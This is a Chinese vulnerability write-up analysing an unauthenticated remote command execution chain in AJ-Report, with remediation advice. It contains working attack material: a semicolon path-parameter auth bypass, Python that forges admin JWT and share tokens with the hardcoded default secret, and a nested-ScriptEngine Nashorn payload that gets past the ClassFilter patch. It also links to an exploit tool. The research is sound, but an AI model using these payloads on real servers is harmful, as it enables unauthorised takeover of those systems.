文章首发于先知社区,传送门

TL;DR

前几天在公众号看到AJ-Report未授权远程命令执行,这个洞还挺通杀的。今天看了下命令执行似乎已经修复了,但是这里的patch没啥用。而且最关键的鉴权绕过没修,其实鉴权修复了也会有默认key导致鉴权绕过的问题。文末给出了利用工具。

漏洞分析

鉴权绕过

这个系统的接口绝大部分都需要登陆,需要绕一下。

鉴权在TokenFilter

image-20240510135030938

经典的通过request.getRequestURI()拿到uri,后面如果uri包含swagger-ui直接放行。

因为是拿的URI,没有参数信息所以没法用?swagger-ui绕。

但可以用;swagger-ui绕过,因为parsePathParameters:950, CoyoteAdapter (org.apache.catalina.connector)这里会取分号作为pathParamStart

image-20240510154835262

pathParamEnd这里会取/作为结尾。最后截断中间的字符串,也就是说/a;b/c最终会解析为/a/c

1715327731929

所以用/dataSetParam;swagger-ui/verification就能请求到后端接口了。

1715327932734

另一处鉴权绕过(默认key)

如果swagger-ui放行那里被修复了怎么办呢?可以看到后续会校验token

1715402625974

校验token类也是安吉自己写的,给jwt payload加了四个key-value pairs

public String createToken(String username, String uuid, Integer type, String tenantCode) {
    String token = JWT.create().withClaim("username", username).withClaim("uuid", uuid).withClaim("type", type).withClaim("tenant", tenantCode).sign(Algorithm.HMAC256(this.gaeaProperties.getSecurity().getJwtSecret()));
    return token;
}
public String getUsername(String token) {
    Claim claim = (Claim)this.getClaim(token).get("username");
    return claim == null ? null : claim.asString();
}

重点来了,通过this.gaeaProperties.getSecurity().getJwtSecret()拿到密钥。

jwt密钥在GaeaProperties$Security类里,而setJwtSecret方法没有被调用过,因此key是默认的。

image-20240511125152829

伪造jwt即可。

def getFakeToken():
    payload = {
        "type": 0,
        "uuid": "627750b8be86421d94facec7e4dba555",
        "tenant": "tenantCode",
        "username": "admin"
    }
    fakeToken = jwt.encode(payload,'anji_plus_gaea_p@ss1234',algorithm='HS256')
    return fakeToken

通过校验。

1715404334246

光伪造token还不够。后面还有个登陆缓存验证,缓存逻辑具体可参考/accessUser/login路由逻辑。token的时效是1小时,如果远程一小时内没有admin登录过那么缓存就会失效。

1715404399333

但是看到这里出现了转机,接下来会校验shareToken,如果reportCodeList.stream().noneMatch(uri::contains),也就是说uri包含reportCode的话就返回false。而shareToken是从Share-Token请求头取的。

List<String> reportCodeList = JwtUtil.getReportCodeList(shareToken);
if (!uri.endsWith("/reportDashboard/getData") && !uri.endsWith("/reportExcel/preview") && reportCodeList.stream().noneMatch(uri::contains)) {
    ResponseBean responseBean = ResponseBean.builder().code("50014").message("分享链接已过期").build();
    response.getWriter().print(JSONObject.toJSONString(responseBean));
    return;
}

再看一下shareToken签名,密钥同样硬编码。

image-20240511132508126
shareToken通过以下方式伪造:

def getFakeShareToken():
    payload = {
        "shareCode": 1,
        "reportCode": "/", #通用性
        "exp": 4070880000,
        "iat": 1715402146,
        "sharePassword": 1
    }
    fakeShareToken = jwt.encode(payload,JWT_SECRET,algorithm='HS256')
    return fakeShareToken

伪造完shareToken就可以访问接口了。

1715405171916

nashorn引擎执行表达式绕过

漏洞在\src\main\java\com\anjiplus\template\gaea\business\modules\datasetparam\controller\DataSetParamController.java中的/verification路由,可以看到会调用verification方法。

image-20240510094647181

跟进verification方法,该方法调用了engine.eval执行一段表达式。

image-20240510094951944

engine针对CNVD-2024-15077做了PATCH

image-20240510095042142

看下diff,加了ClassFilter,过滤了命令执行的三个类。

1715307362768

不太了解这个防御逻辑是啥,先尝试打断点看看是什么逻辑:

1715307603132

到这里有个classFilter。调了个寂寞,还是看看怎么ban掉类的逻辑吧。

1715307815270

先用原版payload打一下,简单解释下,流传在网上的payload定义了verification函数是因为执行完js后会调用js中的verification函数,随后将执行结果返回。verification函数就是常规的调用java.lang.ProcessBuilder('whoami').start()执行命令。

function verification(data){var se= new javax.script.ScriptEngineManager();var r = new java.lang.ProcessBuilder('whoami').start().getInputStream();result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}

执行失败,提示找不到这个类。

1715308365531

打异常断点看调用栈:

classNotFound:162, NativeJavaPackage (jdk.nashorn.internal.runtime)
invokeStatic_L_V:-1, 282828951 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1395859879 (java.lang.invoke.LambdaForm$BMH)
dontInline:-1, 1043162593 (java.lang.invoke.LambdaForm$reinvoker)
guard:-1, 1912131086 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 23493645 (java.lang.invoke.LambdaForm$MH)
verification:1, Script$Recompilation$4$27A$\^eval\_ (jdk.nashorn.internal.scripts)
invokeStatic_L3_L:-1, 246550802 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 664302677 (java.lang.invoke.LambdaForm$MH)
invoke:639, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
callMember:199, ScriptObjectMirror (jdk.nashorn.api.scripting)
invokeImpl:386, NashornScriptEngine (jdk.nashorn.api.scripting)
invokeFunction:190, NashornScriptEngine (jdk.nashorn.api.scripting)
verification:106, DataSetParamServiceImpl

都是匿名函数,感觉不太能debug。。

经过一番检索发现此处针对nashorn的安全过滤是JEP202,还是看文档吧:https://openjdk.org/jeps/202。

Provide a Java class-access filtering interface, ClassFilter, that can be implemented by Java applications that use Nashorn.
提供一个 Java 类访问过滤接口 ,ClassFilter可以由使用 Nashorn 的 Java 应用程序实现。


Nashorn will query a provided instance of the ClassFilter interface before accessing any Java class from a script in order to determine whether the access is allowed. This will occur whether or not a security manager is present.
Nashorn 将在从脚本访问任何 Java 类之前查询提供的接口实例ClassFilter,以确定是否允许访问。无security manager是否存在,都会发生这种情况。

A script should not be able to subvert restrictions by a class filter in any way, not even by using Java's reflection APIs.
脚本不应该能够以任何方式破坏类过滤器的限制,即使使用 Java 的反射 API 也不行。

如果存在类过滤器,即使不存在security managerNashorn 也不让你用反射。如果反射可用那么使用类过滤器就没有意义了,因为可以使用反射来绕过类过滤器。尝试了一下反射确实不行。

不过参考JEP290大概猜到JEP202也(只)是会过滤类,而不是把命令执行的类阉割了。

所以直接用套娃的方式绕就行,在里面再new一个ScriptEngineManager,然后再eval就行。

function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension(\"js\").eval(\"new java.lang.ProcessBuilder('whoami').start().getInputStream();\");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}

执行命令:

1715318752312

别的路由

其实/dataSet/testTransform路由也会调用到engine.eval,但是没有回显。有兴趣的师傅可以看一下,这个接口的逻辑是执行完表达式发起一个http请求,返回的是httpresponse

image-20240510134204870

修复

主要问题在鉴权而不是 engine.eval , 应该使用 reqeust.getServletPath() 获取 URI,或者干脆把 swagger-ui 放行逻辑那里删掉。

其次需要修改jwt默认密钥。

利用工具

https://github.com/yuebusao/AJ-REPORT-EXPLOIT